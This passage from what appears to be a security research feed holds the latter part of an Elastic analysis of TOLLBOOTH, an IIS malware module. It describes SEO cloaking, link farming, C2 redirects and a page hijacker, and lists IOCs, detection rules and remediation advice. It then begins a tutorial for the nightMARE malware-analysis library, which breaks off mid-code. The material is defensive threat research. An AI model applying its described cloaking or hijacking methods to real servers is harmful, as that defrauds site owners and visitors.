Bingbõt;
</code></pre>
<p>The <code>/health</code> endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at <code>c[.]cseo99[.]com</code>, disk space information, the module's installation path, and the version of TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image8.png" alt="Health endpoint response" title="Health endpoint response" /></p>
<p>The <code>/debug</code> endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image31.png" alt="/debug content" title="/debug content" /></p>
<p>The parsed configuration is accessible at <code>/conf</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image24.png" alt="/conf content" title="/conf content" /></p>
<p>The <code>/clean</code> endpoint allows the operator to clear the current configuration by deleting the config files stored locally (<code>clean?type=conf</code>) in order to update them on the victim server, clear any other temporary caches the malware uses (<code>clean?type=conf</code>), or clear both - everything in the <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code> path (<code>clean?type=all</code>).</p>
<h3>SEO Cloaking</h3>
<p>The main goal of TOLLBOOTH is <a href="https://support.google.com/adspolicy/answer/15938075?sjid=10977824559696952423-NC#Cloaking">SEO cloaking</a>, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.</p>
<p>TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.</p>
<p>Both the native and the managed modules are implemented almost identically. The only difference is that native modules <code>v1.6.0</code> and <code>v1.6.1</code> check both the User Agent and Referer against the <code>seoGroupRefererMatchRules</code> list, and the .NET module <code>v1.6.1</code> checks the User Agent against the <code>seoGroupUaMatchRules</code> list and Referer against the <code>seoGroupRefererMatchRules</code> list.</p>
<p>Based on the current configuration, the values for <code>seoGroupUaMatchRules</code> and <code>seoGroupRefererMatchRules</code> are <code>googlebot</code> and <code>google</code>, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both <code>bing</code> and <code>yahoo</code> suggests that those search engines were targeted in the past as well.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image29.png" alt="Functions and fallback lists for User Agent and Referer checks" title="Functions and fallback lists for User Agent and Referer checks" /></p>
<p>The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image23.png" alt="Function for generating page that links to SEO content" title="Function for generating page that links to SEO content" /></p>
<p>The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the <code>affLinkMainWordSeoResArr</code> configuration field. For each keyword, it generates a &quot;local link&quot; pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving &quot;affiliate link resources&quot; from the <code>affLinkSeoResArr</code> field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as <a href="https://en.wikipedia.org/wiki/Link_farm">link farming</a>, is designed to artificially inflate search engine rankings across the entire network of compromised sites.</p>
<p>Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image4.png" alt="Visiting the landing page with User Agent “google”" title="Visiting the landing page with User Agent “google”" /></p>
<p>URL path prefixes to the SEO pages contain words or phrases from the <code>seoGroupUrlMatchRules</code> config field. This is also referenced in the site redirection logic targeting visitors. These are currently:</p>
<ul>
<li><code>stock</code></li>
<li><code>invest</code></li>
<li><code>summary</code></li>
<li><code>datamining</code></li>
<li><code>market-outlook</code></li>
<li><code>bullish-on</code></li>
<li><code>news-overview</code></li>
<li><code>news-volatility</code></li>
<li><code>video/</code></li>
<li><code>app/</code></li>
<li><code>blank/</code></li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image32.png" alt="Example local links" title="Example local links" /></p>
<p>Templates and content for SEO pages are also externally retrieved from URIs that look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the config. Here is an example of what one of the SEO pages looks like:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image5.png" alt="Example SEO page" title="Example SEO page" /></p>
<p>For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to <code>hxxps://api[.]aseo99[.]com/client/landpage</code>. If the request is successful, the server responds with a JSON object containing a specific <code>landpageUrl</code>, which becomes the destination for the redirect.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image18.png" alt="Requesting for page to redirect to" title="Requesting for page to redirect to" /></p>
<p>If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (<code>window.location.href</code>) and sent to the victim’s browser, forcing an immediate redirection.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image26.png" alt="Fallback request for the page to redirect to" title="Fallback request for the page to redirect to" /></p>
<h3>Page Hijacker</h3>
<p>For the native modules, if the URI path contains <code>xlb</code>, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, <code>mlxya[.]oss-accelerate[.]aliyuncs[.]com/&lt;12_random_alphanumeric_characters&gt;</code>, which is used to retrieve an obfuscated next-stage JavaScript payload.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image27.png" alt="Random characters appended to domain hosting JS payload" title="Random characters appended to domain hosting JS payload" /></p>
<p>The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., <code>xlbh</code>, <code>mxlb</code>) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at <code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href=</code> or <code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=</code>, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses <code>document.write()</code> to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image19.png" alt="Deobfuscated page hijacker payload" title="Deobfuscated page hijacker payload" /></p>
<h2>Campaign targeting</h2>
<p>While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.</p>
<p>We then partnered with <a href="https://x.com/SreekarMad">@SreekarMad</a> at <a href="https://www.validin.com/">Validin</a> to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.</p>
<p>At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image2.png" alt="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" title="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" /></p>
<p>These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.</p>
<p>The collaboration with Validin and Texas A&amp;M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image21.png" alt="Metadata collected from an additional victim" title="Metadata collected from an additional victim" /></p>
<p>Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.</p>
<p>Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.</p>
<p>Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.</p>
<h3>Geography</h3>
<p>The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a <code>.co.uk</code> domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.</p>
<h3>Diamond model</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image22.png" alt="REF3927 Diamond Model" title="REF3927 Diamond Model" /></p>
<h2>Remediating REF3927</h2>
<p>Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.</p>
<p>Therefore, remediation must include rotation of machine keys to a new, <a href="https://support.winhost.com/kb/a1623/how-to-generate-a-machine-key-in-iis-manager.aspx">properly generated</a> key.</p>
<h2>Conclusion</h2>
<p>The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&amp;M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.</p>
<p>The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as <a href="https://www.elastic.co/fr/security/endpoint-security">Elastic Defend</a> during potential incidents.</p>
<h2>Detection logic</h2>
<h3>Detection rules</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_webshell_detection.toml">Web Shell Detection: Script Process Child of Common Web Processes</a></li>
</ul>
<h3>Prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Services</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_shellcode_injection_via_a_webshell.toml">Potential Shellcode Injection via a WebShell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_execution_from_suspicious_directory.toml">Execution from Suspicious Directory</a></li>
</ul>
<h4>YARA signatures</h4>
<p>Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Tollbooth.yar">Windows.Trojan.Tollbooth</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenCli.yar">Windows.Trojan.HiddenCli</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenDriver.yar">Windows.Trojan.HiddenDriver</a></li>
</ul>
<h2>REF3927 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server Software Component: IIS Components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/">OS Credential Dumping</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005/">Data from Local System</a></li>
<li><a href="https://attack.mitre.org/techniques/T1014/">Rootkit</a></li>
<li><a href="https://attack.mitre.org/techniques/T1078/">Valid Accounts</a></li>
</ul>
<h2>Observations</h2>
<p>The following <a href="https://github.com/elastic/labs-releases/tree/main/indicators/tollbooth">observables</a> were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>913431f1d36ee843886bb052bfc89c0e5db903c673b5e6894c49aabc19f1e2fc</code></td>
<td>SHA-256</td>
<td><code>WingtbCLI.exe</code></td>
<td>HIDDENCLI</td>
</tr>
<tr>
<td><code>f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1</code></td>
<td>SHA-256</td>
<td><code>Winkbj.sys</code></td>
<td>HIDDENDRIVER</td>
</tr>
<tr>
<td><code>c1ca053e3c346513bac332b5740848ed9c496895201abc734f2de131ec1b9fb2</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c348996e27fc14e3dce8a2a476d22e52c6b97bf24dd9ed165890caf88154edd2</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>82b7f077021df9dc2cf1db802ed48e0dec8f6fa39a34e3f2ade2f0b63a1b5788</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>bd2de6ca6c561cec1c1c525e7853f6f73bf6f2406198cd104ecb2ad00859f7d3</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>915441b7d7ddb7d885ecfe75b11eed512079b49875fc288cd65b023ce1e05964</code></td>
<td>SHA-256</td>
<td><code>CustomIISModule.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c[.]cseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH config server</td>
</tr>
<tr>
<td><code>f[.]fseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH SEO farming config server</td>
</tr>
<tr>
<td><code>api[.]aseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH crawler reporting &amp; page redirector API</td>
</tr>
<tr>
<td><code>mlxya[.]oss-accelerate.aliyuncs[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker payload hosting server</td>
</tr>
<tr>
<td><code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp.run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>bae5a7722814948fbba197e9b0f8ec5a6fe8328c7078c3adcca0022a533a84fe</code></td>
<td>SHA-256</td>
<td><code>1.aspx</code></td>
<td>Godzilla-forked webshell (Similar sample from VirusTotal)</td>
</tr>
<tr>
<td><code>230b84398e873938bbcc7e4a1a358bde4345385d58eb45c1726cee22028026e9</code></td>
<td>SHA-256</td>
<td><code>GotoHTTP.exe</code></td>
<td>GotoHTTP</td>
</tr>
<tr>
<td><code>Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</code></td>
<td>User-Agent</td>
<td></td>
<td>User-Agent observed during exploitation via IIS ViewState injection</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/</a></li>
<li><a href="https://asec.ahnlab.com/en/87804/">https://asec.ahnlab.com/en/87804/</a></li>
<li><a href="https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/">https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/</a></li>
<li><a href="https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters">https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters</a></li>
<li><a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">https://github.com/ekkoo-z/Z-Godzilla_ekp</a></li>
<li><a href="https://x.com/AzakaSekai_/status/1969294757978652947">https://x.com/AzakaSekai_/status/1969294757978652947</a></li>
</ul>
<h2>Addendum</h2>
<p>HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:</p>
<ul>
<li><a href="https://x.com/securechicken/status/1980715257791193420">https://x.com/securechicken/status/1980715257791193420</a></li>
<li><a href="https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/">https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/tollbooth.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[NightMARE on 0xelm Street, a guided tour]]></title>
            <link>https://www.elastic.co/fr/security-labs/nightmare-on-0xelm-street</link>
            <guid>nightmare-on-0xelm-street</guid>
            <pubDate>Tue, 14 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[This article describes nightMARE, a python-based library for malware researchers that was developed by Elastic Security Labs to help scale analysis. It describes how we use nightMARE to develop malware configuration extractors and carve out intelligence indicators.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Since the creation of Elastic Security Labs, we have focused on developing malware analysis tools to not only aid in our research and analysis, but also to release to the public. We want to give back to the community and give back as much as we get from it. In an effort to make these tools more robust and reduce code duplication, we created the Python library <a href="https://github.com/elastic/nightMARE">nightMARE</a>. This library brings together various useful features for reverse engineering and malware analysis. We primarily use it to create our configuration extractors for different widespread malware families, but nightMARE is a library that can be applied to multiple use cases.</p>
<p>With the release of version 0.16, we want to officially introduce the library and provide details in this article on some interesting features offered by this module, as well as a short tutorial explaining how to use it to implement your own configuration extractor compatible with the latest version of LUMMA (as of the post date).</p>
<h2>nightMARE features tour</h2>
<h3>Powered by Rizin</h3>
<p>To reproduce the capabilities of popular disassemblers, nightMARE initially used a set of Python modules to perform the various tasks necessary for static analysis. For example, we used <a href="https://github.com/lief-project/LIEF">LIEF</a> for executable parsing (PE, ELF), <a href="https://github.com/capstone-engine/capstone">Capstone</a> to disassemble binaries, and <a href="https://github.com/danielplohmann/smda">SMDA</a> to obtain cross-reference (xref) analysis.</p>
<p>These numerous dependencies made maintaining the library more complex than necessary. That's why, in order to reduce the use of third-party modules as much as possible, we decided to use the most comprehensive reverse engineering framework available. Our choice naturally gravitated towards Rizin.</p>
<p><a href="https://github.com/rizinorg/rizin">Rizin</a> is an open-source reverse engineering software, forked from the Radare2 project. Its speed, modular design, and almost infinite set of features based on its Vim-like commands make it an excellent backend choice. We integrated it into the project using the <a href="https://github.com/rizinorg/rz-pipe">rz-pipe</a> module, which makes it very easy to create and instrument a Rizin instance from Python.</p>
<h3>Project structure</h3>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nightmare-on-0xelm-street/image12.png" alt="Project structure" /></p>
<p>The project is structured along three axes:</p>
<ul>
<li>The &quot;analysis&quot; module contains sub-modules useful for static analysis.</li>
<li>The &quot;core&quot; module contains commonly useful sub-modules: bitwise operations, integer casting, and recurring regexes for configuration extraction.</li>
<li>The &quot;malware&quot; module contains all algorithm implementations (crypto, unpacking, configuration extraction, etc.), grouped by malware family and, when applicable, by version.</li>
</ul>
<h3>Analysis modules</h3>
<p>For static binary analysis, this module offers two complementary working techniques: disassembly and instruction analysis with Rizin via the reversing module, and instruction emulation via the emulation module.</p>
<p>For example, when constants are manually moved onto the stack, instead of trying to analyze the instructions one by one to retrieve the immediates, it is possible to emulate the entire piece of code and read the data on the stack once the processing is done.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nightmare-on-0xelm-street/image6.png" alt="LUMMA manually pushes Steam profile data for decryption" /></p>
<p>Another example that we will see later in this article is that, in the case of cryptographic functions, if it is complex, it is often simpler to directly call it in the binary using emulation than to try to implement it manually.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nightmare-on-0xelm-street/image10.png" alt="Calling LUMMA C2 decryption function" /></p>
<h4>Reversing module</h4>
<p>This module contains the Rizin class, which is an abstraction of Rizin's functionalities that send commands directly to Rizin thanks to <code>rz-pipe</code> and offers the user an incredible amount of analysis power for free. Because it’s an abstraction, the functions that the class exposes can be easily used in a script without prior knowledge of the framework.</p>
<p>Although this class exposes a lot of different features, we are not trying to be exhaustive. The goal is to reduce duplicated code for recurring functionalities across all our tools. However, if a user finds that a function is missing, they can directly interact with the <code>rz-pipe</code> object to send commands to Rizin and achieve their goals.</p>
<p>Here is a short list of the functions we use the most:</p>
<pre><code class="language-py"># Disassembling
def disassemble(self, offset: int, size: int) -&gt; list[dict[str, typing.Any]]
def disassemble_previous_instruction(self, offset: int) -&gt; dict[str, typing.Any]
def disassemble_next_instruction(self, offset: int) -&gt; dict[str, typing.Any]

# Pattern matching
def find_pattern(
    self, 
    pattern: str,
    pattern_type: Rizin.PatternType) -&gt; list[dict[str, typing.Any]]
def find_first_pattern(
    self,
    patterns: list[str],
    pattern_type: Rizin.PatternType) -&gt; int

# Reading bytes
def get_data(self, offset: int, size: int | None = None) -&gt; bytes
def get_string(self, offset: int) -&gt; bytes

# Reading words
def get_u8(self, offset: int) -&gt; int
...
def get_u64(self, offset: int) -&gt; int

# All strings, functions
def get_strings(self) -&gt; list[dict[str, typing.Any]]
def get_functions(self) -&gt; list[dict[str, typing.Any]]

# Xrefs
def get_xrefs_from(self, offset: int) -&gt; list
def get_xrefs_to(self, offset: int) -&gt; list[int]
</code></pre>
<h4>Emulation module</h4>
<p>In version 0.16, we reworked the emulation module to take full advantage of Rizin's capabilities to perform its various data-related tasks. Under the hood, it’s using the <a href="https://www.unicorn-engine.org/">Unicorn engine</a> to perform emulation.</p>
<p>For now, this module only offers a &quot;light&quot; PE emulation with the class WindowsEmulator, light in the sense that only the strict minimum is done to load a PE. No relocations, no DLLs, no OS emulation. The goal is not to completely emulate a Windows executable like <a href="https://github.com/qilingframework/qiling">Qiling</a> or <a href="https://github.com/momo5502/sogen">Sogen</a>, but to offer a simple way to execute code snippets or short sequences of functions while knowing its limitations.</p>
<p>The WindowsEmulator class offers several useful abstractions.</p>
<pre><code class="language-py"># Load PE and its stack
def load_pe(self, pe: bytes, stack_size: int) -&gt; None

# Manipulate stack
def push(self, x: int) -&gt; None
def pop(self) -&gt; int

# Simple memory management mechanisms
def allocate_memory(self, size: int) -&gt; int
def free_memory(self, address: int, size: int) -&gt; None

# Direct ip and sp manipulation
@property
def ip(self) -&gt; int
@property
def sp(self) -&gt; int

# Emulate call and ret
def do_call(self, address: int, return_address: int) -&gt; None
def do_return(self, cleaning_size: int = 0) -&gt; None

# Direct unicorn access
@property
def unicorn(self) -&gt; unicorn.Uc
</code></pre>
<p>The class allows the registration of two types of hooks: normal unicorn hooks and IAT hooks.</p>
<pre><code class="language-py"># Set unicorn hooks, however the WindowsEmulator instance get passed to the callback instead of unicorn
def set_hook(self, hook_type: int, hook: typing.Callable) -&gt; int:

# Set hook on import call
def enable_iat_hooking(self) -&gt; None:
def set_iat_hook(
        self,
        function_name: bytes,
        hook: typing.Callable[[WindowsEmulator, tuple, dict[str, typing.Any]], None],
) -&gt; None:
</code></pre>
<p>As a usage example, we use the Windows binary <a href="https://www.virustotal.com/gui/file/e36bcf02bc11f560761e943d0fad37417078f6cbb473f85c72fcbc89e2600c58"><code>DismHost.exe</code></a> .</p>
<p>The binary uses the Sleep import at address <code>0x140006404</code>:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nightmare-on-0xelm-street/image3.png" alt="DimHost.exe calls Kernel32 Sleep +0x6404" /></p>
<p>We will therefore create a script that registers an IAT hook for the Sleep import, starts the emulation execution at address <code>0x140006404</code>, and ends at address <code>0x140006412</code>.</p>
<pre><code class="language-py"># coding: utf-8

import pathlib

from nightMARE.analysis import emulation


def sleep_hook(emu: emulation.WindowsEmulator, *args) -&gt; None:
    print(
        &quot;Sleep({} ms)&quot;.format(
            emu.unicorn.reg_read(emulation.unicorn.x86_const.UC_X86_REG_RCX)
        ),
    )
    emu.do_return()


def main() -&gt; None:
    path = pathlib.Path(r&quot;C:\Windows\System32\Dism\DismHost.exe&quot;)
    emu = emulation.WindowsEmulator(False)
    emu.load_pe(path.read_bytes(), 0x10000)
    emu.enable_iat_hooking()
    emu.set_iat_hook(&quot;KERNEL32.dll!Sleep&quot;, sleep_hook)
    emu.unicorn.emu_start(0x140006404, 0x140006412)


if __name__ == &quot;__main__&quot;:
    main()

</code></pre>
<p>It is important to note that the hook function must necessarily return with the <code>do_return</code> function so that we can reach the address located after the call.</p>
<p>When the emulator starts, our hook is correctly executed.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nightmare-on-0xelm-street/image1.png" alt="Sleep hook execution" /></p>
<h3>Malware module</h3>
<p>The malware module contains all the algorithm implementations for each malware family we cover. These algorithms can cover configuration extraction, cryptographic functions, or sample unpacking, depending on the type of malware. All these algorithms use the functionalities of the analysis module to do their job and provide good examples of how to use the library.</p>
<p>With the release of v0.16, here are the different malware families that we cover.</p>
<pre><code>blister
deprecated
ghostpulse
latrodectus
lobshot
lumma
netwire
redlinestealer
remcos
smokeloader
stealc
strelastealer
xorddos
</code></pre>
<p>The complete implementation of the LUMMA algorithms we cover in the next chapter tutorial can be found under the LUMMA sub-module.</p>
<p>Please take note that the rapidly evolving nature of malware makes maintaining these modules difficult, but we welcome any help to the project, direct contribution, or opening issues.</p>
<h2>Example: LUMMA configuration-extraction</h2>
<p>LUMMA STEALER, also known as LUMMAC2, is an information-stealing malware still widely used in infection campaigns despite a recent takedown operation in May 2025. This malware incorporates control flow obfuscation and data encryption, making it more challenging to analyze both statically and dynamically.</p>
<p>In this section, we will use the following unencrypted sample as reference: <a href="https://www.virustotal.com/gui/file/26803ff0e079e43c413e10d9a62d344504a134d20ad37af9fd3eaf5c54848122">26803ff0e079e43c413e10d9a62d344504a134d20ad37af9fd3eaf5c54848122</a></p>
<p>We do a short analysis of how it decrypts its domain names step by step, and then demonstrate along the way how we build the configuration extractor using nightMARE.</p>
<h3>Step 1: Initializing the ChaCha20 context</h3>
<p>In this version, LUMMA performs the initialization of its cryptographic context after loading <code>WinHTTP.dll</code>, with the decryption key and nonce; this context will be reused for each call to the <code>ChaCha20</code> decryption function without being reinitialized. The nuance here is that an internal counter within the context is updated with each use, so later we’ll need to take into account the value of this counter before the first domain decryption and then decrypt them in the correct order.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nightmare-on-0xelm-street/image2.png" alt="" /><br />
<img src="https://www.elastic.co/fr/security-labs/assets/images/nightmare-on-0xelm-street/image8.png" alt="LUMMA initialize its ChaCha20 context with key and nonce +0xDC0D" /></p>
<p>To reproduce this step in our script, we need to collect the key and nonce. The problem is that we don't know their location in advance, but we know where they are used. We pattern match this part of the code, then extract the addresses <code>g_key_0 (key)</code> and <code>g_key_1 (nonce)</code> from the instructions.</p>
<pre><code class="language-py">CRYPTO_SETUP_PATTERN = &quot;b838?24400b???????00b???0???0096f3a5&quot;

def get_decryption_key_and_nonce(binary: bytes) -&gt; tuple[bytes, bytes]:
    # Load the binary in Rizin
    rz = reversing.Rizin.load(binary)

    # Find the virtual address of the pattern
    if not (
        x := rz.find_pattern(
            CRYPTO_SETUP_PATTERN, reversing.Rizin.PatternType.HEX_PATTERN
        )
    ):
        raise RuntimeError(&quot;Failed to find crypto setup pattern virtual address&quot;)

    # Extract the key and nonce address from the instruction second operand
    crypto_setup_va = x[0][&quot;address&quot;]
    key_and_nonce_address = rz.disassemble(crypto_setup_va, 1)[0][&quot;opex&quot;][&quot;operands&quot;][
        1
    ][&quot;value&quot;]

    # Return the key and nonce data
